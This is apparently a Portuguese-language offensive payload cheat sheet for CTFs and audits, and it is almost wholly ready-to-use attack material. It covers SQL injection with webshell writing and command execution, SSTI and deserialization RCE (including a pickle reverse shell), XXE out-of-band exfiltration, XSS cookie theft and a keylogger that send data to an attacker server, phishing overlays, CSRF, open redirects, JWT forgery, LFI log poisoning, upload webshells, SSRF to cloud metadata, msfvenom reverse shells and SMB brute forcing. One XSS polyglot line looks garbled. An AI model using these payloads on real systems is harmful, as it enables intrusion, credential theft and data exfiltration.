Evasion & PayloadsPayloads - Web Hacking.md

Payloads Vault — Coleção Tática de Injeções Web

Dicionário de payloads prontos para uso em CTFs e auditorias de segurança ofensiva, organizados por contexto de vulnerabilidade e tecnologia.

#payloads#cheatsheet#sqli#xss#lfi#ssti

🎯 Payloads - Web Hacking

Payloads organizados por tipo de vulnerabilidade com base nas anotações de estudo.



💉 SQL Injection — Família Completa

💉 SQL Injection Manual

Detecção

'
''
' OR '1'='1
' OR 1=1 --
' OR 1=1 #

Descobrir número de colunas (ORDER BY)

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
-- Continue até dar erro para saber o total

UNION SELECT — Identificar colunas visíveis

' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT 1, 2, 3 --

Fingerprint — Informações do banco

' UNION SELECT 1, @@version, 3 --          -- Versão do MySQL
' UNION SELECT 1, database(), 3 --         -- Banco de dados atual
' UNION SELECT 1, user(), 3 --             -- Usuário do banco
' UNION SELECT 1, @@datadir, 3 --          -- Diretório de dados

Listar tabelas via information_schema

' UNION SELECT 1, table_name, 3 FROM information_schema.tables --

-- Filtrar pelo banco atual
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() --

Listar colunas de uma tabela

') UNION SELECT null, column_name, null, null, null FROM information_schema.columns WHERE table_name = 'users' -- -

Extrair dados de uma tabela

' UNION SELECT 1, username, password FROM users --
' UNION SELECT 1, concat(username,':',password), 3 FROM users --

Authentication Bypass

admin' --
admin' #
' OR 1=1 --
' OR '1'='1' --
' OR 1=1 LIMIT 1 --
admin'/*
' OR 1=1;--
" OR ""="

SQLi — PostgreSQL

-- Fingerprint
' UNION SELECT NULL, version(), NULL --
' UNION SELECT NULL, current_database(), NULL --
' UNION SELECT NULL, current_user, NULL --

-- Listar tabelas
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='public' --

-- Listar colunas
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- Ler arquivos do sistema (requer superuser)
' UNION SELECT NULL, pg_read_file('/etc/passwd'), NULL --

-- RCE (requer superuser)
'; COPY cmd_exec FROM PROGRAM 'id'; --

SQLi — MSSQL (Microsoft SQL Server)

-- Fingerprint
' UNION SELECT NULL, @@version, NULL --
' UNION SELECT NULL, DB_NAME(), NULL --
' UNION SELECT NULL, SYSTEM_USER, NULL --

-- Listar tabelas
' UNION SELECT NULL, name, NULL FROM sysobjects WHERE xtype='U' --

-- Listar colunas
' UNION SELECT NULL, name, NULL FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users') --

-- RCE via xp_cmdshell (se habilitado)
'; EXEC xp_cmdshell 'whoami'; --

-- Habilitar xp_cmdshell (requer admin)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --

SQLi — Bypass de WAF

-- Bypass de espaço (substituir espaço por comentário)
'/**/UNION/**/SELECT/**/1,2,3--
'%09UNION%09SELECT%091,2,3--

-- Bypass com inline comments (MySQL)
/*!50000UNION*//*!50000SELECT*/1,2,3--

-- Bypass de aspas (hex encoding)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_name=0x7573657273 --

-- Bypass com CHAR()
' UNION SELECT 1, concat(CHAR(117),CHAR(115),CHAR(101),CHAR(114),CHAR(115)), 3 --

-- Double encoding
%2527%2520OR%25201%253D1--

🐚 SQL Injection WebShell

Identificação de colunas

' UNION SELECT 1,2,3,4; #
' UNION SELECT 1, @@version, 3, 4; #
' UNION SELECT 1, database(), 3, 4; #
' UNION SELECT 1, user(), 3, 4; #

WebShell via INTO OUTFILE

' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3,4 INTO OUTFILE "/var/www/html/cmd.php"; #

Leitura de arquivos do servidor

' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4; #
' UNION SELECT 1, LOAD_FILE('/etc/shadow'), 3, 4; #
' UNION SELECT 1, LOAD_FILE('/var/www/html/config.php'), 3, 4; #

Upgrade para Shell Interativo (após RCE)

python -c 'import pty; pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null
# Ctrl+Z
stty raw -echo; fg
export SHELL=bash
export TERM=xterm-256color

⏱️ SQL Injection Time-Based Blind

Detecção — Forçar delay

' AND SLEEP(5) --
' OR SLEEP(5) --
'; WAITFOR DELAY '0:0:5' --          -- Para MSSQL
' AND IF(1=1, SLEEP(5), 0) --

Extrair informações via SUBSTRING + SLEEP

-- Descobrir primeiro caractere do banco de dados
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

-- Descobrir tamanho do nome do banco
' AND IF(LENGTH(database())=5, SLEEP(5), 0) --

-- Extrair versão caractere por caractere
' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) --

-- Verificar se usuário existe
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')=1, SLEEP(5), 0) --

-- Extrair senha caractere por caractere
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0) --

🔴 SQL Injection — Error-Based

Extrai dados via mensagens de erro do banco. Mais rápido que Time-Based — não precisa de delay.

Detecção

-- Confirmar que o banco processa e expõe erros
' AND extractvalue(1, 0x7e) -- -
' AND updatexml(1, 0x7e, 1) -- -

extractvalue() — Principal payload

-- Sintaxe base
' AND extractvalue(1, CONCAT(0x7e, (QUERY_AQUI), 0x7e)) -- -

-- Banco de dados atual
' AND extractvalue(1, CONCAT(0x7e, (SELECT database()), 0x7e)) -- -

-- Versão do MySQL
' AND extractvalue(1, CONCAT(0x7e, (SELECT @@version), 0x7e)) -- -

-- Usuário do banco
' AND extractvalue(1, CONCAT(0x7e, (SELECT user()), 0x7e)) -- -

-- Listar tabelas
' AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 0x7e)) -- -

-- Listar colunas de uma tabela
' AND extractvalue(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 0x7e)) -- -

-- Extrair dados de uma tabela
' AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 0,1), 0x7e)) -- -

-- Extrair segunda linha (mudar LIMIT)
' AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1,1), 0x7e)) -- -

updatexml() — Alternativa

-- Mesma lógica, sintaxe diferente
' AND updatexml(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1) -- -
' AND updatexml(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 0,1), 0x7e), 1) -- -

Contornar o limite de ~32 chars (strings longas)

-- Usar SUBSTRING para pegar em pedaços
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT password FROM users LIMIT 0,1), 1, 30), 0x7e)) -- -
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT password FROM users LIMIT 0,1), 31, 30), 0x7e)) -- -

Ler arquivo do servidor via Error-Based

-- Extrair conteúdo de um arquivo via erro
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING(LOAD_FILE('/var/www/html/.env'), 1, 30), 0x7e)) -- -
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 30), 0x7e)) -- -

Usando OR em vez de AND (bypass de autenticação)

-- Funciona mesmo quando a query retorna 0 linhas
%' OR extractvalue(1, CONCAT(0x7e, (SELECT database()), 0x7e)) -- -
1' OR updatexml(1, CONCAT(0x7e, (SELECT version()), 0x7e), 1) -- -

Payload real (formato usado no writeup Laravel-Time)

' AND extractvalue(1,CONCAT(0x7e,(SELECT password FROM users WHERE name='time'),0x7e))-- -

🗄️ NoSQL Injection

Bypass de autenticação (MongoDB)

# Via URL / form
username[$ne]=null&password[$ne]=null
username[$gt]=""&password[$gt]=""

# Via JSON (Burp Suite)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "x"}}

# Regex para descobrir usuário
{"username": {"$regex": "^a"}, "password": {"$ne": "x"}}
{"username": {"$regex": "^ad"}, "password": {"$ne": "x"}}

PHP Array Injection (NoSQL)

username[$ne]=nada&password[$ne]=nada
username[$gt]=&password[$gt]=

🧩 SSTI — Server-Side Template Injection

O que é: Quando input do usuário é inserido diretamente em um template engine (Jinja2, Twig, ERB, etc.) e processado como código, permitindo RCE.

Detecção universal

# Payloads de teste — se o resultado for "49", o template está processando a expressão
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Jinja2 (Python/Flask)

# Leitura de config
{{config}}
{{config.items()}}

# RCE clássico via subclasses
{{''.__class__.__mro__[1].__subclasses__()}}

# RCE direto (encontrar a subclass de subprocess.Popen ou os)
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}

# RCE via import (funciona em versões mais recentes)
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Bypass de filtro de underscores
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Twig (PHP)

# Detecção
{{7*7}}
{{7*'7'}}     # Retorna "49" = Twig

# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Leitura de arquivo
{{'cat /etc/passwd'|filter('system')}}

ERB (Ruby)

# Detecção
<%= 7*7 %>

# RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>

Freemarker (Java)

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

📄 XXE — XML External Entity

O que é: Quando a aplicação processa XML sem desabilitar entidades externas, é possível ler arquivos do servidor, fazer SSRF e até RCE.

XXE Básico — Leitura de arquivos

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

XXE via SSRF (acessar serviços internos)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <data>&xxe;</data>
</root>

Blind XXE — Out-of-Band (OOB) Exfiltration

Quando o resultado da entidade NÃO é refletido na resposta.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://SEU-SERVIDOR/xxe.dtd">
  %xxe;
]>
<root>test</root>

Conteúdo do xxe.dtd no seu servidor:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://SEU-SERVIDOR/?data=%file;'>">
%eval;
%exfiltrate;

XXE via Upload de Arquivo (SVG, DOCX, XLSX)

<!-- Arquivo .svg malicioso -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="128" height="128">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

DOCX/XLSX: Descompactar o arquivo, editar [Content_Types].xml ou word/document.xml inserindo a entidade XXE, recompactar e fazer upload.


🧬 Insecure Deserialization

O que é: Quando a aplicação desserializa dados controlados pelo usuário sem validação, permitindo RCE ou manipulação de objetos.

PHP — Deserialization

# Detectar: procurar por parâmetros com dados serializados do PHP
# Formato: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Payload para manipular propriedades do objeto
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Ferramentas
# phpggc — Gerador de gadget chains para frameworks PHP
phpggc Laravel/RCE1 system id
phpggc Symfony/RCE4 exec 'cat /etc/passwd'

Java — Deserialization

# Detectar: procurar por dados começando com "rO0AB" (base64) ou "aced0005" (hex)
# Isso indica ObjectInputStream do Java

# Ferramentas
# ysoserial — Gerador de payloads de deserialization Java
java -jar ysoserial-all.jar CommonsCollections1 'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}' | base64

Python — Pickle Deserialization

import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/SEU_IP/4444 0>&1',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

Enviar o payload base64 onde a aplicação espera dados pickle (cookies, APIs, etc.)

Node.js — node-serialize

// Payload para RCE via node-serialize
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(error,stdout,stderr){console.log(stdout)})}()"}

🔍 XSS — Cross-Site Scripting

XSS Reflected

<!-- Payload básico -->
<script>alert(1)</script>

<!-- Extração de Cookies -->
<script>document.location='http://SEU-SERVIDOR/?c='+document.cookie</script>

<!-- Bypass com encoding -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- Bypass com case variation -->
<ScRiPt>alert(1)</ScRiPt>

<!-- Bypass sem aspas -->
<img src=x onerror=alert`1`>

<!-- Bypass via event handlers alternativos -->
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

<!-- Bypass de WAF — encoding duplo -->
%253Cscript%253Ealert(1)%253C/script%253E

<!-- Bypass de WAF — HTML entities -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Bypass de WAF — JavaScript sem parênteses -->
<img src=x onerror=alert&#40;1&#41;>
<svg onload=alert&lpar;1&rpar;>

<!-- Bypass de WAF — concatenação e eval -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=window['al'+'ert'](1)>
<img src=x onerror=self['al'+'ert'](1)>

<!-- Bypass de WAF — tag SVG com encoding -->
<svg/onload=alert(1)>
<svg%0Aonload=alert(1)>
<svg%09onload=alert(1)>
<svg%0Donload=alert(1)>

XSS Stored

<!-- Payload em campo de comentário/nome -->
<script>fetch('http://SEU-SERVIDOR/?cookie='+btoa(document.cookie))</script>

<!-- Keylogger básico -->
<script>
document.onkeypress = function(e) {
  fetch('http://SEU-SERVIDOR/?k=' + e.key);
}
</script>

<!-- Roubo de sessão via redirect -->
<script>window.location='http://SEU-SERVIDOR/?s='+document.cookie</script>

<!-- Phishing via HTML injection (roubo de senhas) -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h2>Sessão expirada. Faça login novamente:</h2>
<form action="http://SEU-SERVIDOR/capture" method="POST">
<input name="user" placeholder="Usuário"><br>
<input name="pass" type="password" placeholder="Senha"><br>
<button>Login</button></form></div>

<!-- Exfiltração de dados do DOM -->
<script>
fetch('http://SEU-SERVIDOR/?page='+btoa(document.body.innerHTML))
</script>

XSS DOM Based

<!-- Quando a entrada vai direto ao DOM via innerHTML -->
#<img src=x onerror=alert(1)>

<!-- Exploração via hash da URL -->
javascript:alert(document.domain)

<!-- Payload em parâmetro que vai ao DOM -->
?search=<script>alert(1)</script>

<!-- DOM XSS via document.write -->
?q="><script>alert(1)</script>

<!-- DOM XSS via jQuery .html() ou .append() -->
?name=<img src=x onerror=alert(1)>

Blind XSS

Quando usar: Quando a entrada do usuário é processada em outro lugar (ex: painel de admin, tickets de suporte). Você não vê o resultado, mas o payload executa quando um admin visualiza.

<!-- Payload que "liga de volta" para seu servidor quando executado -->
"><script src=http://SEU-SERVIDOR/xss.js></script>
"><img src=x onerror=fetch('http://SEU-SERVIDOR/?c='+document.cookie)>

<!-- Conteúdo do xss.js para captura completa -->
<!--
var data = 'url=' + encodeURIComponent(document.URL);
data += '&cookie=' + encodeURIComponent(document.cookie);
data += '&dom=' + encodeURIComponent(document.body.innerHTML);
fetch('http://SEU-SERVIDOR/log', {method:'POST', body:data});
-->

XSS Polyglot (funciona em múltiplos contextos)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%%0telerik0telerik11telerik22telerik33telerik44telerik55telerik66telerik77telerik88telerik99/telerik//>%0telerik<svg/onload=alert()>


🔐 Autenticação & Sessão

🔄 CSRF — Cross-Site Request Forgery

HTML Form Attack

<!-- Formulário malicioso que submete automaticamente -->
<html>
  <body>
    <form id="csrf-form" action="http://ALVO.COM/change-password" method="POST">
      <input type="hidden" name="password" value="hacked123">
      <input type="hidden" name="confirm_password" value="hacked123">
    </form>
    <script>document.getElementById('csrf-form').submit();</script>
  </body>
</html>

Via GET (caso o endpoint aceite GET)

<img src="http://ALVO.COM/delete-account?id=123" width="0" height="0">

Via XHR (para APIs)

fetch('http://ALVO.COM/api/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

↩️ Open Redirect

O que é: Quando a aplicação redireciona para URLs externas sem validação. Usado para phishing, roubo de tokens OAuth, e bypass de filtros.

Payloads comuns

# Parâmetros comuns de redirect
?redirect=http://evil.com
?url=http://evil.com
?next=http://evil.com
?return=http://evil.com
?rurl=http://evil.com
?dest=http://evil.com
?destination=http://evil.com
?continue=http://evil.com
?redirect_uri=http://evil.com

# Bypass de filtros que verificam o domínio
?redirect=http://evil.com%23.alvo.com        # Fragment
?redirect=http://alvo.com.evil.com            # Subdomínio falso
?redirect=http://alvo.com@evil.com            # Basic Auth trick
?redirect=//evil.com                           # Protocol-relative
?redirect=\/\/evil.com                         # Escaped
?redirect=http://evil.com%00.alvo.com          # Null byte
?redirect=https://evil.com?alvo.com            # Query string
?redirect=http://evil.com#alvo.com             # Fragment

🔑 JWT — JSON Web Token Attacks

O que é: JWTs são usados para autenticação stateless. Tokens mal implementados podem ser forjados ou manipulados.

Estrutura do JWT

HEADER.PAYLOAD.SIGNATURE
# Decodificar (é apenas base64url):
echo "HEADER_AQUI" | base64 -d
echo "PAYLOAD_AQUI" | base64 -d

Ataque alg: none (sem assinatura)

Remove a verificação de assinatura quando o servidor aceita "alg": "none".

// Header original:
{"alg": "HS256", "typ": "JWT"}

// Header modificado:
{"alg": "none", "typ": "JWT"}
# Gerar token sem assinatura (terminar com ponto sem conteúdo após):
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Token final: HEADER.PAYLOAD.  (sem signature, mas com o ponto final)

Brute Force de Secret Key

# Com hashcat
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Com jwt_tool
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Com john
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

Key Confusion Attack (RS256 → HS256)

Quando o servidor usa RS256 (assimétrica) mas aceita HS256 (simétrica), você pode assinar o token com a chave pública como se fosse o segredo HMAC.

# 1. Obter a chave pública do servidor (geralmente em /jwks.json, /.well-known/jwks.json)
# 2. Forjar o token usando a chave pública como secret
python3 jwt_tool.py TOKEN -X k -pk public_key.pem

Ferramentas úteis

# jwt_tool — Canivete suíço para JWT
python3 jwt_tool.py TOKEN                  # Decodificar
python3 jwt_tool.py TOKEN -T               # Editar interativamente (tampering)
python3 jwt_tool.py TOKEN -I -pc role -pv admin  # Injetar claim

# jwt.io — Decodificador online (cuidado com tokens sensíveis)

🔐 IDOR — Insecure Direct Object Reference

Testes de IDOR

# Alterar IDs em parâmetros
GET /api/user/1234/profile    → Tentar 1235, 1236...
GET /document?id=100          → Tentar id=101, 99, 1...

# Alterar IDs em cookies/headers
Cookie: userId=1234           → Tentar valores diferentes

# Enumerar via Fuzzing (wfuzz)
wfuzz -c -z range,1-1000 -H "Cookie: PHPSESSID=SUASESSAO" "http://ALVO.COM/?user_id=FUZZ"

# Alterar método HTTP
POST /api/delete → PUT /api/delete (às vezes com permissões diferentes)


📁 File Attacks

📁 Local File Inclusion (LFI)

Path Traversal básico

../../../etc/passwd
../../../../etc/passwd
../../../../../../etc/passwd

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Arquivos úteis para ler (Linux)

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/0
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/www/html/config.php
/var/www/html/.env
/home/usuario/.ssh/id_rsa
/home/usuario/.ssh/authorized_keys
/root/.ssh/id_rsa

Arquivos úteis para ler (Windows)

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\
C:\Users\Administrator\Desktop\

Bypass de filtros

....//....//....//etc/passwd         # Bypass de substituição simples de ../
..././..././..././etc/passwd
/etc/passwd%00.jpg                   # Null byte (PHP < 5.3.4)
php://filter/convert.base64-encode/resource=/etc/passwd  # PHP wrapper
..%252f..%252f..%252fetc%252fpasswd  # Double URL encode
..%c0%af..%c0%af..%c0%afetc/passwd  # UTF-8 overlong encoding
/....//....//....//etc/passwd        # Bypass de filtros que removem ../ uma vez

PHP Wrappers

php://filter/convert.base64-encode/resource=index.php
php://input   (com POST: <?php system('id'); ?>)
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://id   (requer expect wrapper habilitado)
phar://arquivo.phar/test.txt
zip://arquivo.zip%23test.txt

LFI → RCE via Log Poisoning

Técnica: Injeta código PHP nos logs do servidor (via User-Agent, URL, etc.) e depois inclui o arquivo de log via LFI para executar o código.

# 1. Envenenar o log do Apache com um User-Agent malicioso
curl -A "<?php system(\$_GET['cmd']); ?>" http://ALVO.COM/

# 2. Incluir o log via LFI para executar comandos
http://ALVO.COM/page?file=../../../../var/log/apache2/access.log&cmd=id

# Variante: envenenar via SSH (auth.log)
ssh '<?php system($_GET["cmd"]); ?>'@ALVO.COM
# Depois incluir:
http://ALVO.COM/page?file=../../../../var/log/auth.log&cmd=id

# Variante: envenenar via email (mail log)
# Enviar email com payload PHP no assunto/corpo para o servidor

Remote File Inclusion (RFI)

Requisito: allow_url_include=On no php.ini (raro, mas existe em sistemas legados).

http://ALVO.COM/page?file=http://SEU-SERVIDOR/shell.txt
http://ALVO.COM/page?file=http://SEU-SERVIDOR/shell.txt%00

---

## 📤 File Upload Bypass

> **O que é:** Quando a aplicação permite upload de arquivos mas tenta filtrar extensões perigosas. O objetivo é fazer upload de uma webshell.

### Webshell PHP mínima
```php
<?php system($_GET['cmd']); ?>

Bypass de extensão

# Extensões alternativas de PHP
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phar
shell.phps
shell.pht

# Double extension
shell.php.jpg
shell.php.png
shell.jpg.php

# Null byte (PHP antigo < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg

# Case variation
shell.pHp
shell.PhP

# Trailing characters
shell.php.
shell.php...
shell.php%20
shell.php%0a
shell.php%0d%0a

Bypass de Content-Type

# Enviar como imagem no header Content-Type
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

# Mas o corpo do arquivo contém PHP:
<?php system($_GET['cmd']); ?>

Bypass com Magic Bytes (GIF header)

GIF89a;<?php system($_GET['cmd']); ?>

Salvar como shell.php.gif ou shell.gif.php. O GIF89a no início faz o servidor pensar que é um GIF legítimo.

Bypass via .htaccess upload

# Fazer upload de um .htaccess que trata .jpg como PHP
AddType application/x-httpd-php .jpg

Depois, fazer upload de um arquivo shell.jpg contendo código PHP.

Upload para diretórios alternativos (Path Traversal)

# No campo filename do upload, tentar:
filename="../../../var/www/html/shell.php"
filename="....//....//....//var/www/html/shell.php"


🌐 Server-Side Attacks

🌐 SSRF — Server-Side Request Forgery

O que é: O servidor faz requisições HTTP a um destino controlado pelo atacante. Permite acessar serviços internos, metadados de cloud e bypasses de firewall.

Payloads básicos

# Acessar serviços internos
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]          # IPv6 localhost

# Acessar outras portas internas
http://127.0.0.1:8080
http://127.0.0.1:3306    # MySQL
http://127.0.0.1:6379    # Redis
http://127.0.0.1:27017   # MongoDB
http://127.0.0.1:9200    # Elasticsearch

Cloud Metadata Endpoints

# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP
http://metadata.google.internal/computeMetadata/v1/
# (Requer header: Metadata-Flavor: Google)

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# (Requer header: Metadata: true)

# DigitalOcean
http://169.254.169.254/metadata/v1/

Bypass de filtros de SSRF

# Bypass de blacklist de "localhost" e "127.0.0.1"
http://2130706433         # 127.0.0.1 em decimal
http://0x7f000001         # 127.0.0.1 em hex
http://017700000001       # 127.0.0.1 em octal
http://127.1              # Shorthand
http://127.0.0.1.nip.io   # DNS rebinding via nip.io
http://0                  # Resolve para 0.0.0.0

# Bypass via redirect
# Hospedar em SEU-SERVIDOR um redirect 302 para http://127.0.0.1

# Bypass via URL parsing
http://evil.com@127.0.0.1
http://127.0.0.1#@evil.com

SSRF → RCE (via serviços internos)

# Redis (porta 6379) — Escrever webshell via protocolo Redis
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$11%0d%0ashell_value%0d%0a$31%0d%0a<?php system($_GET['cmd']); ?>%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

⚙️ Security Misconfiguration

Gerar Reverse Shell com msfvenom

# WAR (para Tomcat)
msfvenom -p java/shell_reverse_tcp LHOST=SEU-IP LPORT=4444 -f war -o shell.war

# PHP
msfvenom -p php/reverse_php LHOST=SEU-IP LPORT=4444 -f raw -o shell.php

# Linux ELF
msfvenom -p linux/x86/shell_reverse_tcp LHOST=SEU-IP LPORT=4444 -f elf -o shell

# Windows EXE
msfvenom -p windows/shell_reverse_tcp LHOST=SEU-IP LPORT=4444 -f exe -o shell.exe

Listener com Netcat

nc -lvnp 4444

🌐 Subdomain Takeover

Verificar CNAME apontando para serviço externo

# Verificar DNS
dig CNAME subdominio.alvo.com
nslookup subdominio.alvo.com

# Ferramentas automáticas
subfinder -d alvo.com -silent | httpx -sc -title
nuclei -t takeovers/ -u subdominio.alvo.com

🖧 SMB — Server Message Block

Protocolo de compartilhamento de arquivos em redes. Portas 139 (NetBIOS) e 445 (SMB direto).

Enumeração Anônima (Null Session)

# Listar compartilhamentos sem senha
smbclient -L //ALVO -N

# Verificar permissões de todos os shares
smbmap -H ALVO -u "" -p ""

# Enumeração completa (usuários, shares, políticas, grupos)
enum4linux -a ALVO

# NetExec com null session
nxc smb ALVO -u "" -p "" --shares

# Verificar se login anônimo está habilitado
nxc smb ALVO -u "Guest" -p "" --shares

Autenticação com Credenciais

# Listar shares autenticado
smbclient -L //ALVO -U usuario%senha

# Conectar em share específico
smbclient //ALVO/NOME_SHARE -U usuario%senha

# Validar credenciais + listar shares (NetExec)
nxc smb ALVO -u usuario -p senha --shares

# Autenticação local (sem domínio)
nxc smb ALVO -u usuario -p senha --local-auth --shares

# Verificar se é admin local
nxc smb ALVO -u usuario -p senha
# Saída "[+]" = usuário válido | "(Pwn3d!)" = admin local

Comandos dentro do smbclient

# Após conectar: smbclient //ALVO/share -U user%pass
ls                    # Listar arquivos e diretórios
cd pasta/             # Navegar para pasta
get arquivo.txt       # Baixar arquivo para sua máquina
put shell.php         # Enviar arquivo para o servidor
mget *                # Baixar todos os arquivos
mput *.php            # Enviar todos os .php
mkdir nova_pasta      # Criar diretório
del arquivo.txt       # Deletar arquivo
pwd                   # Ver diretório atual no servidor
lcd /tmp              # Mudar diretório LOCAL (de download)
exit                  # Sair

Download Recursivo de Todo o Share

# Baixar todos os arquivos de uma vez
smbclient //ALVO/share -U usuario%senha -c "prompt OFF; recurse ON; mget *"

# Usando smbget
smbget -R smb://ALVO/share -U usuario%senha

Montar Share como Pasta Local

# Montar o compartilhamento (requer cifs-utils)
sudo mount -t cifs //ALVO/share /mnt/smb -o username=usuario,password=senha

# Navegar normalmente
ls /mnt/smb/
cat /mnt/smb/credenciais.txt

# Desmontar
sudo umount /mnt/smb

Brute Force de Credenciais

# Hydra (lento no SMB — usar -t 1)
hydra -l usuario -P /usr/share/wordlists/rockyou.txt smb://ALVO -t 1 -f

# NetExec (mais rápido e moderno)
nxc smb ALVO -u usuario -p /usr/share/wordlists/rockyou.txt
nxc smb ALVO -u usuarios.txt -p senhas.txt --no-bruteforce  # 1:1
nxc smb ALVO -u usuarios.txt -p senha --continue-on-success  # Spray

Verificar Vulnerabilidades (EternalBlue, etc.)

# Verificar MS17-010 (EternalBlue)
nmap -p 445 --script smb-vuln-ms17-010 ALVO

# Checar todas as vulnerabilidades SMB conhecidas
nmap -p 139,445 --script smb-vuln* ALVO

# Verificar versão do protocolo e configurações
nmap -p 445 --script smb-security-mode ALVO
nmap -p 445 --script smb2-security-mode ALVO

Fluxo de Ataque Completo (exemplo real)

# 1. Confirmar portas SMB abertas
